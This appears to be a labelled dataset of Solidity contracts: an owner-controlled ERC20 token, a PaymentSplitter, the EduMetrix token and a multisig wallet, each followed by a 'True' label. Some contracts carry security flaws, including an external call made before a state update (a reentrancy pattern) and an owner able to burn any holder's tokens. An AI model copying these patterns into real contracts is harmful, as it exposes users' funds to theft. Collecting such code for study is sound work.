function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract ERC20 is owned,IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
string public name = "test";
string public symbol = "test";
uint8 public decimals = 18;
uint256 private _totalSupply = 2 * 100000000;
constructor() public {
_totalSupply = _totalSupply * 10 ** uint256(decimals);
_balances[msg.sender] = _totalSupply;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function burn(address account, uint256 value) external onlyOwner returns (bool) {
_burn(account, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-12-23
*/
// SPDX-License-Identifier: GPL-3.0
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/finance/PaymentSplitter.sol
// OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol)
pragma solidity ^0.8.0;
/**
* @title PaymentSplitter
* @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware
* that the Ether will be split in this way, since it is handled transparently by the contract.
*
* The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each
* account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim
* an amount proportional to the percentage of total shares they were assigned.
*
* `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the
* accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release}
* function.
*
* NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and
* tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you
* to run tests before sending real value to this contract.
*/
contract PaymentSplitter is Context {
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
uint256 private _totalShares;
uint256 private _totalReleased;
mapping(address => uint256) private _shares;
mapping(address => uint256) private _released;
address[] private _payees;
mapping(IERC20 => uint256) private _erc20TotalReleased;
mapping(IERC20 => mapping(address => uint256)) private _erc20Released;
/**
* @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at
* the matching position in the `shares` array.
*
* All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no
* duplicates in `payees`.
*/
constructor(address[] memory payees, uint256[] memory shares_) payable {
require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch");
require(payees.length > 0, "PaymentSplitter: no payees");
for (uint256 i = 0; i < payees.length; i++) {
_addPayee(payees[i], shares_[i]);
}
}
/**
* @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully
* reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the
* reliability of the events, and not the actual splitting of Ether.
*
* To learn more about this see the Solidity documentation for
* https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback
* functions].
*/
receive() external payable virtual {
emit PaymentReceived(_msgSender(), msg.value);
}
/**
* @dev Getter for the total shares held by payees.
*/
function totalShares() public view returns (uint256) {
return _totalShares;
}
/**
* @dev Getter for the total amount of Ether already released.
*/
function totalReleased() public view returns (uint256) {
return _totalReleased;
}
/**
* @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20
* contract.
*/
function totalReleased(IERC20 token) public view returns (uint256) {
return _erc20TotalReleased[token];
}
/**
* @dev Getter for the amount of shares held by an account.
*/
function shares(address account) public view returns (uint256) {
return _shares[account];
}
/**
* @dev Getter for the amount of Ether already released to a payee.
*/
function released(address account) public view returns (uint256) {
return _released[account];
}
/**
* @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an
* IERC20 contract.
*/
function released(IERC20 token, address account) public view returns (uint256) {
return _erc20Released[token][account];
}
/**
* @dev Getter for the address of the payee number `index`.
*/
function payee(uint256 index) public view returns (address) {
return _payees[index];
}
/**
* @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the
* total shares and their previous withdrawals.
*/
function release(address payable account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = address(this).balance + totalReleased();
uint256 payment = _pendingPayment(account, totalReceived, released(account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_released[account] += payment;
_totalReleased += payment;
Address.sendValue(account, payment);
emit PaymentReleased(account, payment);
}
/**
* @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their
* percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20
* contract.
*/
function release(IERC20 token, address account) public virtual {
require(_shares[account] > 0, "PaymentSplitter: account has no shares");
uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token);
uint256 payment = _pendingPayment(account, totalReceived, released(token, account));
require(payment != 0, "PaymentSplitter: account is not due payment");
_erc20Released[token][account] += payment;
_erc20TotalReleased[token] += payment;
SafeERC20.safeTransfer(token, account, payment);
emit ERC20PaymentReleased(token, account, payment);
}
/**
* @dev internal logic for computing the pending payment of an `account` given the token historical balances and
* already released amounts.
*/
function _pendingPayment(
address account,
uint256 totalReceived,
uint256 alreadyReleased
) private view returns (uint256) {
return (totalReceived * _shares[account]) / _totalShares - alreadyReleased;
}
/**
* @dev Add a new payee to the contract.
* @param account The address of the payee to add.
* @param shares_ The number of shares owned by the payee.
*/
function _addPayee(address account, uint256 shares_) private {
require(account != address(0), "PaymentSplitter: account is the zero address");
require(shares_ > 0, "PaymentSplitter: shares are 0");
require(_shares[account] == 0, "PaymentSplitter: account already has shares");
_payees.push(account);
_shares[account] = shares_;
_totalShares = _totalShares + shares_;
emit PayeeAdded(account, shares_);
}
}
// File: contracts/MetaDogePayments.sol
pragma solidity ^0.8.0;
contract MetaDogePayments is PaymentSplitter {
constructor (address[] memory _payees, uint256[] memory _shares) PaymentSplitter(_payees, _shares) payable {}
} | True | [
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Tcoin' token contract
//
// Deployed to : 0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A
// Symbol : EMC
// Name : EduMetrix
// Total supply: 1000000000000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract EduMetrix is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function EduMetrix() public {
symbol = "EMC";
name = "EduMetrix";
decimals = 18;
_totalSupply = 1000000000000000000000000000;
balances[0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A] = _totalSupply;
Transfer(address(0), 0xd6b72d0e2D99565f67a18e2235a8Ac595cbcE55A, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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pragma solidity 0.4.24;
interface tokenInterface {
function transfer(address reciever, uint amount) external;
function balanceOf(address owner) external returns (uint256);
}
contract dapMultisig {
/*
* Types
*/
struct Transaction {
uint id;
address destination;
uint value;
bytes data;
TxnStatus status;
address[] confirmed;
address creator;
}
struct tokenTransaction {
uint id;
tokenInterface token;
address reciever;
uint value;
address[] confirmed;
TxnStatus status;
address creator;
}
struct Log {
uint amount;
address sender;
}
enum TxnStatus { Unconfirmed, Pending, Executed }
/*
* Modifiers
*/
modifier onlyOwner () {
bool found;
for (uint i = 0;i<owners.length;i++){
if (owners[i] == msg.sender){
found = true;
}
}
if (found){
_;
}
}
/*
* Events
*/
event WalletCreated(address creator, address[] owners);
event TxnSumbitted(uint id);
event TxnConfirmed(uint id);
event topUpBalance(uint value);
event tokenTxnConfirmed(uint id, address owner);
event tokenTxnExecuted(address token, uint256 value, address reciever);
/*
* Storage
*/
bytes32 public name;
address public creator;
uint public allowance;
address[] public owners;
Log[] logs;
Transaction[] transactions;
tokenTransaction[] tokenTransactions;
uint public approvalsreq;
/*
* Constructor
*/
constructor (uint _approvals, address[] _owners, bytes32 _name) public payable{
/* check if name was actually given */
require(_name.length != 0);
/*check if approvals num equals or greater than given owners num*/
require(_approvals <= _owners.length);
name = _name;
creator = msg.sender;
allowance = msg.value;
owners = _owners;
approvalsreq = _approvals;
emit WalletCreated(msg.sender, _owners);
}
//fallback to accept funds without method signature
function () external payable {
allowance += msg.value;
}
/*
* Getters
*/
function getOwners() external view returns (address[]){
return owners;
}
function getTxnNum() external view returns (uint){
return transactions.length;
}
function getTxn(uint _id) external view returns (uint, address, uint, bytes, TxnStatus, address[], address){
Transaction storage txn = transactions[_id];
return (txn.id, txn.destination, txn.value, txn.data, txn.status, txn.confirmed, txn.creator);
}
function getLogsNum() external view returns (uint){
return logs.length;
}
function getLog(uint logId) external view returns (address, uint){
return(logs[logId].sender, logs[logId].amount);
}
function getTokenTxnNum() external view returns (uint){
return tokenTransactions.length;
}
function getTokenTxn(uint _id) external view returns(uint, address, address, uint256, address[], TxnStatus, address){
tokenTransaction storage txn = tokenTransactions[_id];
return (txn.id, txn.token, txn.reciever, txn.value, txn.confirmed, txn.status, txn.creator);
}
/*
* Methods
*/
function topBalance() external payable {
require (msg.value > 0 wei);
allowance += msg.value;
/* create new log entry */
uint loglen = logs.length++;
logs[loglen].amount = msg.value;
logs[loglen].sender = msg.sender;
emit topUpBalance(msg.value);
}
function submitTransaction(address _destination, uint _value, bytes _data) onlyOwner () external returns (bool) {
uint newTxId = transactions.length++;
transactions[newTxId].id = newTxId;
transactions[newTxId].destination = _destination;
transactions[newTxId].value = _value;
transactions[newTxId].data = _data;
transactions[newTxId].creator = msg.sender;
transactions[newTxId].confirmed.push(msg.sender);
if (transactions[newTxId].confirmed.length == approvalsreq){
transactions[newTxId].status = TxnStatus.Pending;
}
emit TxnSumbitted(newTxId);
return true;
}
function confirmTransaction(uint txId) onlyOwner() external returns (bool){
Transaction storage txn = transactions[txId];
//check whether this owner has already confirmed this txn
bool f;
for (uint8 i = 0; i<txn.confirmed.length;i++){
if (txn.confirmed[i] == msg.sender){
f = true;
}
}
//push sender address into confirmed array if haven't found
require(!f);
txn.confirmed.push(msg.sender);
if (txn.confirmed.length == approvalsreq){
txn.status = TxnStatus.Pending;
}
//fire event
emit TxnConfirmed(txId);
return true;
}
function executeTxn(uint txId) onlyOwner() external returns (bool){
Transaction storage txn = transactions[txId];
/* check txn status */
require(txn.status == TxnStatus.Pending);
/* check whether wallet has sufficient balance to send this transaction */
require(allowance >= txn.value);
/* send transaction */
address dest = txn.destination;
uint val = txn.value;
bytes memory dat = txn.data;
assert(dest.call.value(val)(dat));
/* change transaction's status to executed */
txn.status = TxnStatus.Executed;
/* change wallet's balance */
allowance = allowance - txn.value;
return true;
}
function submitTokenTransaction(address _tokenAddress, address _receiever, uint _value) onlyOwner() external returns (bool) {
uint newTxId = tokenTransactions.length++;
tokenTransactions[newTxId].id = newTxId;
tokenTransactions[newTxId].token = tokenInterface(_tokenAddress);
tokenTransactions[newTxId].reciever = _receiever;
tokenTransactions[newTxId].value = _value;
tokenTransactions[newTxId].confirmed.push(msg.sender);
if (tokenTransactions[newTxId].confirmed.length == approvalsreq){
tokenTransactions[newTxId].status = TxnStatus.Pending;
}
emit TxnSumbitted(newTxId);
return true;
}
function confirmTokenTransaction(uint txId) onlyOwner() external returns (bool){
tokenTransaction storage txn = tokenTransactions[txId];
//check whether this owner has already confirmed this txn
bool f;
for (uint8 i = 0; i<txn.confirmed.length;i++){
if (txn.confirmed[i] == msg.sender){
f = true;
}
}
//push sender address into confirmed array if haven't found
require(!f);
txn.confirmed.push(msg.sender);
if (txn.confirmed.length == approvalsreq){
txn.status = TxnStatus.Pending;
}
//fire event
emit tokenTxnConfirmed(txId, msg.sender);
return true;
}
function executeTokenTxn(uint txId) onlyOwner() external returns (bool){
tokenTransaction storage txn = tokenTransactions[txId];
/* check txn status */
require(txn.status == TxnStatus.Pending);
/* check whether wallet has sufficient balance to send this transaction */
uint256 balance = txn.token.balanceOf(address(this));
require (txn.value <= balance);
/* Send tokens */
txn.token.transfer(txn.reciever, txn.value);
/* change transaction's status to executed */
txn.status = TxnStatus.Executed;
/* Fire event */
emit tokenTxnExecuted(address(txn.token), txn.value, txn.reciever);
return true;
}
} | True | [
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// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
